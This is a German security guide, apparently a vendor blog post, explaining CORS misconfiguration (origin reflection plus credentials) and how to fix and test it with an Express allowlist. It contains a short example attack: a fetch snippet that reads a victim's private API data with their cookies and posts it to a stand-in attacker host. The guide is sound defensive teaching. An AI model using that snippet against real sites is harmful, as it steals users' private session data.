Du baust deine App, der Browser wirft dir einen roten CORS-Fehler entgegen, du suchst in einem Forum oder fragst die KI und kopierst die Lösung, die verspricht, dass alles funktioniert. Es ist meist die schlechtestmögliche. Dieser Guide erklärt, was CORS wirklich ist, was es schützt und was nicht, den exakten Fehler, der die Daten deiner Nutzer für jede Website erreichbar macht, wie du es mit Code richtig konfigurierst und wie du es von außen prüfst.
Was CORS wirklich ist
Standardmäßig lässt der Browser eine Seite auf site-a.com nicht die Antwort einer API auf site-b.com lesen. Das ist die Same-Origin-Policy, und eine Herkunft (Origin) ist die Kombination aus Protokoll, Domain und Port: https://app.beispiel.de und https://api.beispiel.de sind verschiedene Origins. Diese Regel schützt deine Nutzer: Sie verhindert, dass ein bösartiger Tab Daten einer anderen Website liest, auf der sie eingeloggt sind.
CORS (Cross-Origin Resource Sharing) ist der Mechanismus, mit dem dein Server diese Regel absichtlich lockert: Mit dem Header Access-Control-Allow-Origin sagt er dem Browser „diese konkrete Origin darf die Antwort lesen". Bei Anfragen, die nicht einfach sind (ein PUT, ein JSON-Body, ein Authorization-Header), schickt der Browser vorher eine OPTIONS-Anfrage zur Prüfung, den Preflight, und macht nur weiter, wenn die Antwort es erlaubt.
Was CORS nicht schützt
Das sollte klar sein, bevor du es konfigurierst. CORS ist eine Regel, die Browser befolgen, keine Zugriffskontrolle deiner API. Ein Angreifer mit curl, ein Skript auf einem Server oder eine Mobile-App unterliegen CORS nicht: Sie sehen alles, was deine API ohne Session zurückgibt. Liefert ein Endpoint Daten aus, ohne zu prüfen, wer fragt, repariert CORS das nicht; das repariert Authentifizierung. CORS schützt eine sehr konkrete Sache: dass eine andere Website nicht den Browser deines Nutzers, mit seinen Cookies, benutzt, um in seinem Namen private Daten zu lesen.
Der Fehler, der alles kaputt macht
Das gefährliche Muster ist, jede ankommende Origin zu spiegeln und obendrein Credentials zu erlauben:
Access-Control-Allow-Originmit dem Wert der anfragenden Origin, welche auch immer (dynamisches Spiegeln), undAccess-Control-Allow-Credentials: true.
Mit dieser Kombination kann jede Website, die dein Nutzer besucht, Anfragen an deine API mit den Session-Cookies des Nutzers stellen und die Antwort lesen. Der Angriff passt in drei Zeilen auf der Seite des Angreifers:
fetch('https://api.deinedomain.de/me', { credentials: 'include' })
.then(r => r.json())
.then(daten => fetch('https://angreifer.example/sammeln', { method: 'POST', body: JSON.stringify(daten) }))
Der Nutzer sieht nichts: Er hat nur eine Seite geöffnet. Der Platzhalter * ist weniger schlimm, weil der Browser sich weigert, ihn mit Credentials zu kombinieren, aber auf eine API mit privaten Daten gehört er trotzdem nicht.
Die Wege, auf denen dieser Fehler in den Code gelangt, sind meist harmlos: In Express spiegelt cors({ origin: true, credentials: true }) jede Origin; ein nachlässiger regulärer Ausdruck wie /deinedomain.de$/ akzeptiert evil-deinedomain.de; eine Liste mit null erlaubt Seiten, die aus lokalen Dateien oder isolierten iframes geöffnet wurden; und „in der Entwicklung alles erlauben" landet in der Produktion.
So konfigurierst du es richtig
Denk in Verteidigung, nicht in Bequemlichkeit. Führe eine geschlossene Liste von Origins, vergleiche exakt und gib den Header nur bei Übereinstimmung zurück. In Express:
const ALLOWED = new Set([
'https://app.deinedomain.de',
'https://deinedomain.de',
])
app.use((req, res, next) => {
const origin = req.headers.origin
if (origin && ALLOWED.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin)
res.setHeader('Vary', 'Origin')
res.setHeader('Access-Control-Allow-Credentials', 'true')
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization')
res.setHeader('Access-Control-Max-Age', '600')
}
if (req.method === 'OPTIONS') return res.sendStatus(204)
next()
})
Vier Details, die zählen. Vary: Origin verhindert, dass ein CDN die Antwort für eine Origin cacht und einer anderen ausliefert. Allow-Credentials nur, wenn du wirklich Cookies über Origins hinweg nutzt; leben API und App auf derselben Domain, brauchst du CORS gar nicht. Beschränke Methoden und Header auf das, was du nutzt. Und beantworte das OPTIONS mit 204, ohne Geschäftslogik auszuführen.
In Next.js lebt derselbe Code in einer Middleware oder in jedem Route Handler; in Nuxt in routeRules oder einer Server-Middleware. Nutzt du Supabase oder Firebase direkt aus dem Browser, kümmern die sich selbst um CORS, und die echte Barriere sind die Datenbankregeln, nicht dieser Header.
Öffentliche APIs dürfen den Platzhalter nutzen
Liefert deine API Daten, die wirklich öffentlich sind (eine Preisliste, ein Katalog), und nutzt sie keine Cookies, ist Access-Control-Allow-Origin: * legitim und macht es den Nutzern der API leichter. Die Regel: Platzhalter oder Spiegelung niemals mit Daten mischen, die von der Session des Nutzers abhängen.
Warum es schwer zu erkennen ist
Diese Lücke ist lautlos: Alles funktioniert, es gibt keinen sichtbaren Fehler und die App wirkt gesund. Du merkst es erst, wenn jemand sie ausnutzt, und selbst dann hinterlässt es keine offensichtliche Spur in deinen Logs, weil die Anfragen mit einer gültigen Session eintreffen. Deshalb solltest du die CORS-Konfiguration bei jedem Deploy ausdrücklich prüfen, statt darauf zu vertrauen, dass „kein Fehler" „alles gut" heißt.
So prüfst du es selbst
Frage einen privaten Endpoint deiner API an und tu so, als kämst du von einer anderen Website; sieh dir die zurückkommenden Header an:
curl -s -I -H "Origin: https://evil.example" https://api.deinedomain.de/me | grep -i access-control
Liefert die Antwort Access-Control-Allow-Origin: https://evil.example zusammen mit Access-Control-Allow-Credentials: true, hast du das Problem. Kommt für eine unbekannte Origin gar kein CORS-Header zurück, ist alles in Ordnung. Wiederhole es mit Origin: null und mit einer erfundenen Subdomain deiner eigenen Domain.
CORS ersetzt keinen CSRF-Schutz
Ein Angreifer muss die Antwort nicht lesen, um Schaden anzurichten: Es reicht, dass die Anfrage ausgeführt wird (ein POST, der die E-Mail des Kontos ändert, zum Beispiel). Das verhindern Cookies mit SameSite=Lax oder Strict und, bei sensiblen Formularen, ein Anti-CSRF-Token. CORS und SameSite sind zwei verschiedene Schichten; du willst beide.
Prüfe dein CORS mit Scanaris
Scanaris prüft schreibgeschützt, wie deine Website auf Anfragen von unbekannten Origins antwortet: ob sie die Origin spiegelt, ob sie Credentials erlaubt und ob sie den Platzhalter mit Cookies kombiniert. Es startet keine Angriffe und fasst keine Daten an: Es beobachtet nur die öffentliche Antwort, genau wie der Befehl oben. Findet es eine gefährliche Konfiguration, bekommst du einen Fix-Prompt, mit dem deine KI sie mit einer geschlossenen Liste neu schreibt. Es ist eine der Prüfungen der Launch-Checkliste; die übrigen Bausteine, Header eingeschlossen, stehen im Guide zu Sicherheits-Headern.
Häufig gestellte Fragen
Warum bekomme ich lokal einen CORS-Fehler und in der Produktion nicht?
Weil lokal das Frontend auf localhost:3000 läuft und die API auf einem anderen Port: verschiedene Origins. In der Produktion teilen sie sich meist eine Domain. Nimm die Entwicklungs-Origin nur in der Entwicklungsumgebung in die Liste auf; spiegle nie alles, um „den Fehler wegzubekommen".
Kann ich mehrere Origins in Access-Control-Allow-Origin setzen?
Nein, der Header nimmt einen einzigen Wert. Deshalb vergleicht man die eingehende Origin mit der Liste und gibt nur diese zurück, mit Vary: Origin.
Können ein mobiler Browser oder eine Erweiterung CORS umgehen?
Native Apps und Server-Skripte unterliegen CORS nicht; Erweiterungen haben eigene Berechtigungen. CORS schützt den Nutzer in seinem normalen Browser, dort, wo seine Cookies liegen. Alles andere schützt die Authentifizierung deiner API.